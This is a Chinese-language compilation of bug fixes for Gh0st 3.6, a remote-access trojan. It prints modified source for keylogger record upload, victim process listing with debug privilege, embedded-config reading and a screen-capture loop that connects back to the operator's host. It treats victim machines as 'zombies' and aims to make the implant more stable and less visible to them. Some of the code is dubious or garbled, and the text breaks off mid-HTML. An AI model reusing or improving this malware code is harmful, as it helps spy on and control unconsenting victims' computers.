Gh0st 3.6 存在的BUG及修改方法(收集整理)
以下貼出代碼全部為修改后的
---------------------------------------------------------------------------------------------------------------------------------
1.拖放文件上傳和下載時,有選擇目標目錄的話,可能會使目錄重復
修改CFileManagerDlg::SendUploadJob()和CFileManagerDlg::CreateLocalRecvFile()中的代碼:
if (m_Remote_Upload_Job.IsEmpty())
?? return FALSE;
CString strDestDirectory = m_Remote_Path;
// 如果遠程也有選擇,當做目標文件夾
int nItem = m_list_remote.GetSelectionMark();
// 是文件夾
if (!m_hCopyDestFolder.IsEmpty())//修改目錄重復的bug
{
?? strDestDirectory += m_hCopyDestFolder + "\\";
}else if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) // 是文件夾
{
?? strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}//新修改
if (!m_hCopyDestFolder.IsEmpty())
{
?? strDestDirectory += m_hCopyDestFolder + "\\";
}
// 發出第一個下載任務命令
------------------------------------------------------------------------------------------------------------------------------------
2.?選中多個主機,執行斷開連接,并不是所有選擇的都斷開
Ccb1stView::OnDisconnect() 中代碼改為
??????? POSITION pos;
??????? for(; pos=m_pListCtrl->GetFirstSelectedItemPosition();)
??????? {
??????????????? m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
??????? }
------------------------------------------------------------------------------------------------------------------------------------
3.文件列表不支持點擊排序
在FileManagerDlg.h中加上一句:
#define CListCtrl CCJListCtrl
--------------------------------------------------------------------------------------------------------------------------------------
4.內存泄露BUG修改
1)、內存泄漏
如new后沒有delete,或其他內存分配函數后沒有配對釋放,例如:
void SplitLoginInfo(…)中、DWORD GetProcessID(LPCTSTR lpProcessName)中…
另外如用
[Copy to clipboard] [ - ]CODE:
char *lpBuffer = new char[dwSize]
這種形式new,后面應該
[Copy to clipboard] [ - ]CODE:
delete [] lpBuffer;
,如果只是delete lpBuffer應該也會造成泄漏,例如:
int CKeyboardManager::sendOfflineRecord()中…
2)、句柄泄漏
大多是由于沒有CloseHandle所致,某些特殊對象有相應的關閉釋放函數,雖然問題不大,可看到肉雞每次接受命令執行,就增加一些句柄或其他資源占用,心里總是不爽。
例如:
[Copy to clipboard] [ - ]CODE:
LPBYTE CSystemManager::getProcessList()中OpenProcess后應該CloseHandle(hProcess);
[Copy to clipboard] [ - ]CODE:
DWORD GetProcessID(LPCTSTR lpProcessName)中最后應該CloseHandle(handle);
…
//新加入減少內存泄露//1
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD
lppProxyPort,
??????????????????????????????????? char **lppszProxyUser, char **lppszProxyPass)
{
?????? *lppszHost = NULL;
?????? *lppPort = 0;
?????? *lppszProxyHost = NULL;
?????? *lppProxyPort = 0;
?????? *lppszProxyUser = NULL;
?????? *lppszProxyPass = NULL;
?????? bool??????? bIsProxyUsed = false;
?????? bool??????? bIsAuth = false;
?????? UINT??????? nSize = lstrlen(lpDecodeString) + 1;
?????? char??????? *lpString = new char[nSize];
?????? memcpy(lpString, lpDecodeString, nSize);
??????
?????? char??????? *pStart, *pNext, *pEnd;
?????? *lppszHost = lpString;
?????? if ((pStart = strchr(lpString, ':')) == NULL)
??????????? return;
?????? *pStart = '\0';
?????? if ((pNext = strchr(pStart + 1, '|')) != NULL)
?????? {
??????????? bIsProxyUsed = true;
??????????? *pNext = '\0';
?????? }
?????? *lppPort = atoi(pStart + 1);
??????
?????? if (!bIsProxyUsed)
??????????? return;
?????? pNext++;
?????? *lppszProxyHost = pNext;
?????? if ((pStart = strchr(pNext, ':')) == NULL)
??????????? return;
?????? *pStart = '\0';
?????? if ((pNext = strchr(pStart + 1, '|')) != NULL)
?????? {
??????????? bIsAuth = true;
??????????? *pNext = '\0';
?????? }
?????? *lppProxyPort = atoi(pStart + 1);
??????
?????? if (!bIsAuth)
??????????? return;
??????
?????? pNext++;
?????? *lppszProxyUser = pNext;
?????? if ((pStart = strchr(pNext, ':')) == NULL)
??????????? return;
?????? *pStart = '\0';
?????? *lppszProxyPass = pStart + 1;
?????? delete [] lpString ;//新加入減少內存泄露?
}
//2
int CKeyboardManager::sendOfflineRecord()
{
?????? int???????????? nRet = 0;
?????? DWORD??????? dwSize = 0;
?????? DWORD??????? dwBytesRead = 0;
?????? char??????? strRecordFile[MAX_PATH];
?????? GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
?????? lstrcat(strRecordFile, "");
?????? HANDLE??????? hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
??????????? NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
?????? if (hFile != INVALID_HANDLE_VALUE)
?????? {
??????????? dwSize = GetFileSize(hFile, NULL);
??????????? char *lpBuffer = new char[dwSize];
??????????? ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
??????????? // 解密
??????????? for (int i = 0; i < dwSize; i++)
???????????????????? lpBuffer ^= XOR_ENCODE_VALUE;
??????????? nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
??????????? delete [] lpBuffer; //??? delete lpBuffer;新修改的代碼
?????? }
?????? CloseHandle(hFile);
?????? return nRet;
}
//
LPBYTE CSystemManager::getProcessList()
{
?????? HANDLE????????????????????? hSnapshot = NULL;
?????? HANDLE????????????????????? hProcess = NULL;
?????? HMODULE????????????????????? hModules = NULL;
?????? PROCESSENTRY32??????? pe32 = {0};
?????? DWORD????????????????????? cbNeeded;
?????? char????????????????????? strProcessName[MAX_PATH] = {0};
?????? LPBYTE????????????????????? lpBuffer = NULL;
?????? DWORD????????????????????? dwOffset = 0;
?????? DWORD????????????????????? dwLength = 0;
?????? DebugPrivilege(SE_DEBUG_NAME, TRUE);
??????
?????? hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
??????
?????? if(hSnapshot == INVALID_HANDLE_VALUE)
??????????? return NULL;
??????
?????? pe32.dwSize = sizeof(PROCESSENTRY32);
??????
?????? lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
??????
?????? lpBuffer[0] = TOKEN_PSLIST;
?????? dwOffset = 1;
??????
?????? if(Process32First(hSnapshot, &pe32))
?????? {???????
??????????? do
??????????? {????
???????????????????? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,
pe32.th32ProcessID);
???????????????????? if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
???????????????????? {
?????????????????????????????? EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
?????????????????????????????? GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
??????????????????????????????
?????????????????????????????? // 此進程占用數據大小
?????????????????????????????? dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
?????????????????????????????? // 緩沖區太小,再重新分配下
?????????????????????????????? if (LocalSize(lpBuffer) < (dwOffset + dwLength))
??????????????????????????????????? lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
??????????????????????????????
?????????????????????????????? memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
?????????????????????????????? dwOffset += sizeof(DWORD);???????
??????????????????????????????
?????????????????????????????? memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
?????????????????????????????? dwOffset += lstrlen(pe32.szExeFile) + 1;
??????????????????????????????
?????????????????????????????? memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
?????????????????????????????? dwOffset += lstrlen(strProcessName) + 1;
???????????????????? }
??????????? CloseHandle(hProcess);//新修改
??????????? }
??????????? while(Process32Next(hSnapshot, &pe32));
?????? }
??????
?????? lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
??????
?????? DebugPrivilege(SE_DEBUG_NAME, FALSE);?
?????? CloseHandle(hSnapshot);
?????? return lpBuffer;???????
}
//
DWORD GetProcessID(LPCTSTR lpProcessName)
{
?????? DWORD RetProcessID = 0;
?????? HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
?????? PROCESSENTRY32* info=new PROCESSENTRY32;
?????? info->dwSize=sizeof(PROCESSENTRY32);
??????
?????? if(Process32First(handle,info))
?????? {
??????????? if (strcmpi(info->szExeFile,lpProcessName) == 0)
??????????? {
???????????????????? RetProcessID = info->th32ProcessID;
???????????????????? return RetProcessID;
??????????? }
??????????? while(Process32Next(handle,info) != FALSE)
??????????? {
???????????????????? if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
???????????????????? {
?????????????????????????????? RetProcessID = info->th32ProcessID;
?????????????????????????????? return RetProcessID;
????????????
???????????????????? }
??????????? }
?????? }
CloseHandle(handle);//新修改
return RetProcessID;
???????
}
新修改
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024]={0};
try
{
GetWindowText(hwnd, strTitle, sizeof(strTitle)-1);
strTitle[sizeof(strTitle)-1]=0;
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
{
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwOffset=1;
}else
{
dwOffset = LocalSize(lpBuffer);
while(*(lpBuffer + dwOffset - 2)==0) dwOffset--;
}
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
}catch (...)
{
return true;
}
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
return true;
}
/
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
?????? char??????? strFileName[MAX_PATH];
?????? char??????? *lpConfigString = NULL;
?????? DWORD??????? dwBytesRead = 0;
?????? GetModuleFileName(hModule, strFileName, sizeof(strFileName));
??????
?????? HANDLE??????? hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
?????? if (hFile == INVALID_HANDLE_VALUE)
?????? {
??????????? return NULL;
?????? }
??????
?????? SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
?????? lpConfigString = new char[MAX_CONFIG_LEN];
?????? ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
?????? CloseHandle(hFile);
??????
?????? int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
?????? if (offset == -1)
?????? {
??????????? delete lpConfigString;
??????????? return NULL;
?????? }
?????? else
?????? {
??????????? return lpConfigString + offset;
??????????? delete lpConfigString;///新修改代碼-----------不確定.
?????? }
}
// 文件名隨機
------------------------------------------------------------------------------------------------------------------------------------
5.對話框關閉后未銷毀的問題(spy++可以看到)
??????? 在CGh0stView::OnRemoveFromList(WPARAM wParam, LPARAM lParam)中有調用DestroyWindow,只要在OnClose中注釋掉m_pContext->m_Dialog[0] = 0;
???????? 在工程中搜索m_pContext->m_Dialog[0] = 0;共搜到七處,全部注釋掉后,測試時第二次進入文件管理的時候掉圖標。不注釋的話,又導致spy++可以看到文件管理窗口。歡迎高手提供好的解決辦法。
也就是下面代碼里的m_pContext->m_Dialog[0] = 0;不能注釋,其他六處可以注釋。
void CFileManagerDlg::OnClose()?
{
// TODO: Add your message handler code here and/or call default
CoUninitialize();
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
------------------------------------------------------------------------------------------------------------------------------------
6.發送數據較快容易出錯
pContext->m_hWriteComplete
這明顯是個event對象,可是并沒有CreateEvent創建,單線程發送接收可能沒事,發送數據較快就有問題了(我加代理功能時發現,CreateEvent后發的數據就不亂了)
------------------------------------------------------------------------------------------------------------------------------------
7.Gh0st3.6 IOCP發送BUG作 者:?boywhp
時 間:?2014-04-21,22:53:46
鏈 接:?http://bbs.pediy.com/showthread.php?t=186833
測試發現有時客戶端會發送重復數據包,感覺作者的IOCP發送處理邏輯不是太清晰,簡單修改了下,初步測試沒發現異常
話說我很想不通使用了TCP通信的Gh0st里面居然還有處理重發的代碼,真是蛋疼啊,懶得刪了,萬一有個大坑呢?
另外里面頻繁的new?delete看得我也很不爽啊,不過我忍住了,能不動就不動
1、CIOCPServer::Send
代碼: [cpp]?view plain?copy
代碼: [cpp]?view plain?copy
3、CIOCPServer::OnClientWriting
代碼: [cpp]?view plain?copy
------------------------------------------------------------------------------------------------------------------------------------
8.SetPaneText 的崩潰問題
??這個應該屬于多線程操作控件的問題,參見MFC不能多線程操作控件的原因?這里面講解的比較深入了。?
關于狀態欄StatusBar有幾點需要說明:?
1)剛剛創建工程 CMainFrame 類里面就有一個?CMFCStatusBar m_wndStatusBar;?狀態欄變量定義。在原版工程里面是CStatusBar m_wndStatusBar;?
2)在這個類的 OnCreate 函數里面調用?m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH , 300);?設置每個狀態欄分割寬度,后面兩個參數 SBPS_STRETCH 表示 剩余的寬度都算在這個分割里面,300表示最小寬度,MSDN文檔。?
3)關于 CMFCStatusBar 使用方法可見 雞啄米專欄?VS2010/MFC編程入門之三十八(狀態欄的使用詳解)?。?
4)gh0st里面是這樣使用?m_wndStatusBar?的:
當異常的時候調用棧如下:?
跟蹤到異常位置來到系統代碼:
總之一句話,這個 SetPaneText 是從其它線程 ListenThreadProc 調用過來的,如果要正常使用可以修改為如下方式 :
<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CALLBACK CMainFrame<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::NotifyProc</span>(LPVOID lpParam, ClientContext <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span>pContext, UINT nCode) { g_pFrame<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>PostMessageA(UpdatePane); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>g_pFrame 是一個 CMainFrame 類型指針,在CMainFrame 類里面加入一個消息處理過程:
<code class="language-C hljs autohotkey has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-label" style="box-sizing: border-box;">ON_MESSAGE(UpdatePane, &CMainFrame::</span>OnUpdatepane) <span class="hljs-label" style="box-sizing: border-box;">afx_msg LRESULT CMainFrame::</span>OnUpdatepane(WPARAM wParam, LPARAM lParam) { m_wndStatusBar.SetPaneText(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>, <span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"test"</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li></ul> ??在 ListenThreadProc 向 CMainFrame 類發送一個消息 PostMessage(UpdatePane),然后在 CMainFrame 類里面處理這個消息,至此問題完美解決。?
參考:?
MFC中從一個類向其他類發送消息的方法
------------------------------------------------------------------------------------------------------------------------------------
9.WSAIoctl 參數類型導致棧異常
以前gh0st代碼如下:
<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">const</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> chOpt = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>; WSAIoctl ( pContext->m_Socket, SIO_KEEPALIVE_VALS, &klive, <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(tcp_keepalive), <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>, <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>, (<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">unsigned</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">long</span> *)&chOpt, <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>, <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span> );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li></ul>WSAIoctl 原型聲明如下:
<code class="language-C hljs bash has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int WSAAPI WSAIoctl( __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> SOCKET s, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD dwIoControlCode, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_bcount_opt(cbInBuffer) LPVOID lpvInBuffer, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbInBuffer, __out_bcount_part_opt(cbOutBuffer, *lpcbBytesReturned) LPVOID lpvOutBuffer, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbOutBuffer, __out LPDWORD lpcbBytesReturned, __inout_opt LPWSAOVERLAPPED lpOverlapped, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_opt LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li></ul> ??倒數第三個參數應當是 LPDWORD 類型,而且是輸出,傳入的僅僅是char類型,雖然因為對齊 char 也分配了4字節,不會導致棧覆蓋,但是在debug模式下系統加入了嚴苛的棧檢測機制:雖然分配了四字節,因為是char類型,所以剩余的三字節是不應該修改的,在release下就沒有這問題。?
修改為 LONG 類型即可解決問題:
------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------
10.CIniFile 構造函數導致異常系統自動定義的一個對象
<code class="language-C hljs cs has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">// 唯一的一個 ChostApp 對象</span> ChostApp theApp;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li></ul>這個構造函數應該是在最早執行的,在 ChostApp 里面有一個成員
<code class="language-C hljs has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile m_IniFile;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>所以要首先調用 CIniFile 的構造函數
<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile::CIniFile(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">void</span>) { <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> szAppName[MAX_PATH]; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">int</span> len; HINSTANCE hinst; <span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">//hinst = AfxGetInstanceHandle();</span> ::GetModuleFileName(GetModuleHandle(<span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>), szAppName, <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(szAppName)); len = strlen(szAppName); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul> 因為 AfxGetInstanceHandle() 調用導致異常。?
具體可見CSDN論壇討論。
---------------------------------------------------------------------------------------------------------------------------------
11.棧上對象多線程,析構函數導致程序崩潰
??打開主控端。開啟被控端, 此時主控端顯示上線。
??在server端點擊桌面管理可以正常顯示被控端桌面,然后關閉遠程桌面,此時被控端出現一個錯誤:?
TestDll.exe 中的 0x5950cc6f (server.dll) 處有未經處理的異常: 0xC0000005: 讀取位置 0x02ecfca4 時發生訪問沖突
此時執行到的指令位置是 5950CC6F
對應的源代碼是
<code class="language-C hljs r has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int CManager::Send(LPBYTE lpData, UINT nSize) { int nRet = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">try</span> { nRet = m_pClient->Send((LPBYTE)lpData, nSize); }catch(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">...</span>){}; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> nRet; }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul>寄存器edx的數值是?edx 0x02ecfca0 unsigned long
??奇怪的是在關閉遠程桌面以前這個函數執行了很多次,都沒有出現這個問題。現在在關閉遠程桌面之后就這樣。通過對比發現 出現訪問異常的內存 在關閉遠程桌面之后數值出現了變化。
可以在關閉遠程桌面之后 vs2010下內存訪問斷點,edx + 4 的位置
<code class="hljs haskell has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> 調試 -> 新建斷點 -> 新建內存斷點</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>此時按F5發現中斷在manager類的析構函數里面:
<code class="language-C hljs mathematica has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CManager::~CManager() <span class="hljs-list" style="box-sizing: border-box;">{ CloseHandle(m_hEventDlgOpen); }</span></code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>再看堆棧窗口 是從 Loop_ScreenManager 函數結尾調用而來的:
<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">DWORD WINAPI Loop_ScreenManager(SOCKET sRemote) { CClientSocket socketClient; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span> (<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!</span>socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>Connect(CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_strMasterHost</span>, CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_nMasterPort</span>)) <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: 